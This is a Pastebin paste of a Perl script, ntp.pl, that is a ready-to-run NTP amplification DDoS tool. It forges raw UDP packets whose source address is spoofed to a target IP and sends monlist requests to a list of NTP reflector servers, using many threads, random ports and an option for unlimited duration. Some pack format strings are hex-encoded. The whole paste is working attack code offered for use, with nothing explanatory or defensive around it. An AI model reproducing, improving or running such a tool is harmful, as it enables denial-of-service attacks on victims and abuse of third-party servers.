SHARE
TWEET

ntp.pl

wtfbbq Mar 21st, 2015 (edited) 847 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. use threads;
  2. use Socket;
  3. ( $PROG = $0 ) =~ s/^.*[\/\\]//;
  4. #Usage
  5. if ( @ARGV == 0 ) {
  6.         print "Usage: ./$PROG [IP] [PORT] [TIME] [LIST] [THREADS]\nMade by Vypor\nUse -1 for random ports, and -1 for unlimited time\nDigitalgangsters.org\n";
  7.     exit;
  8. }
  9.  
  10. #Random ports ( scroll down to the repeat function to find the function for this)
  11. my $udp_src_port = $ARGV[1];
  12. if ($udp_src_port =~ "-1") {
  13. print "[+] Flooding Random Ports\n";
  14. }
  15.  
  16. #Our varibles :D
  17. my $num_of_threads = $ARGV[2];
  18. my $target = $ARGV[0];
  19. my $udp_src_port = $ARGV[1];
  20. my $time = $ARGV[4];
  21. #Open Input List.
  22. my $openme = $ARGV[3];
  23. open my $handle, '<', $openme;
  24. chomp(my @servers = <$handle>);
  25. close $handle;
  26. my $ppr = '4';
  27. my @threads = initThreads();
  28.  
  29. #Unlimited time
  30. if ($time =~ "-1") {
  31.     print "[+] Unlimited Seconds\n";
  32. }
  33. print "[+] Flood on $target started\n";
  34.  
  35.  
  36. #Does the list exist?
  37. if (-e $openme) {
  38. }
  39. unless (-e $openme) {
  40.         print "List does not exist.\n";
  41. exit();
  42. }
  43.  
  44. #Start Threading
  45. foreach(@threads){
  46.                 $_ = threads->create(\&attackshit);
  47. }
  48. foreach(@threads){
  49.         $_->join();
  50. }
  51. sub initThreads{
  52.         my @initThreads;
  53.         for(my $i = 1;$i<=$num_of_threads;$i++){
  54.                 push(@initThreads,$i);
  55.         }
  56.         return @initThreads;
  57. }
  58.  
  59.  
  60. #Start DDosing.
  61. sub attackshit{
  62.  
  63. alarm("$time");
  64. repeat: my $ip_dst = ( gethostbyname( $servers[ int( rand(@servers) ) ] ) )[4];
  65. my $ip_src = ( gethostbyname($target) )[4];
  66. socket( RAW, AF_INET, SOCK_RAW, 255 ) or die $!;
  67. setsockopt( RAW, 0, 1, 1 );
  68.  
  69. #Heres the random port shit if you were looking for it
  70. my $udp_src_port = $ARGV[1];
  71. if ($udp_src_port =~ "-1") {
  72. $udp_src_port = $port ? $port : int(rand(65500))+1;
  73. } else {
  74. my $udp_src_port = $ARGV[1];
  75. }
  76.  
  77. main();
  78. #main packet formation
  79. sub main {
  80.  
  81.  
  82.     my $packet;
  83.     $packet = ip_header();
  84.     $packet .= udp_header();
  85.     $packet .= payload();
  86.         for (1 .. $ppr) {
  87.         send_packet($packet) or last;
  88.         }
  89. goto repeat;
  90. }
  91. sub ip_header {
  92.     my $ip_ver  = 4;
  93.     my $ip_header_len  = 5;
  94.     my $ip_tos  = 0;
  95.     my $ip_total_len   = $ip_header_len + 20;
  96.     my $ip_frag_id  = 0;
  97.     my $ip_frag_flag   = "\x30\x31\x30";
  98.     my $ip_frag_offset = "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30";
  99.     my $ip_ttl  = 255;
  100.     my $ip_proto  = 17;
  101.     my $ip_checksum    = 0;
  102.     my $ip_header  = pack(
  103. "\x48\x32\x20\x48\x32\x20\x6E\x20\x6E\x20\x42\x31\x36\x20\x68\x32\x20\x63\x20\x6E\x20\x61\x34\x20\x61\x34",
  104.   $ip_ver . $ip_header_len,  $ip_tos,
  105.   $ip_total_len,  $ip_frag_id,
  106.   $ip_frag_flag . $ip_frag_offset, $ip_ttl,
  107.   $ip_proto,  $ip_checksum,
  108.   $ip_src,  $ip_dst
  109.     );
  110.     return $ip_header;
  111. }
  112.  
  113. sub udp_header {
  114.     my $udp_dst_port = 123;
  115.     my $udp_len  = 8 + length( payload() );
  116.     my $udp_checksum = 0;
  117.     my $udp_header   = pack( "\x6E\x20\x6E\x20\x6E\x20\x6E",
  118.   $udp_src_port, $udp_dst_port, $udp_len, $udp_checksum );
  119.     return $udp_header;
  120. }
  121. #Payload, edit this if you like ;)
  122. sub payload {
  123.     my $data = "\x17\x00\x03\x2a" . "\x00" x 4;
  124.     my $payload = pack( "\x61" . length($data), $data );
  125.     return $payload;
  126. }
  127.  
  128. sub send_packet {
  129.     send( RAW, $_[0], 0,
  130.   pack( "\x53\x6E\x61\x34\x78\x38", AF_INET, 60, $ip_dst ) );
  131. }
  132.  
  133. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top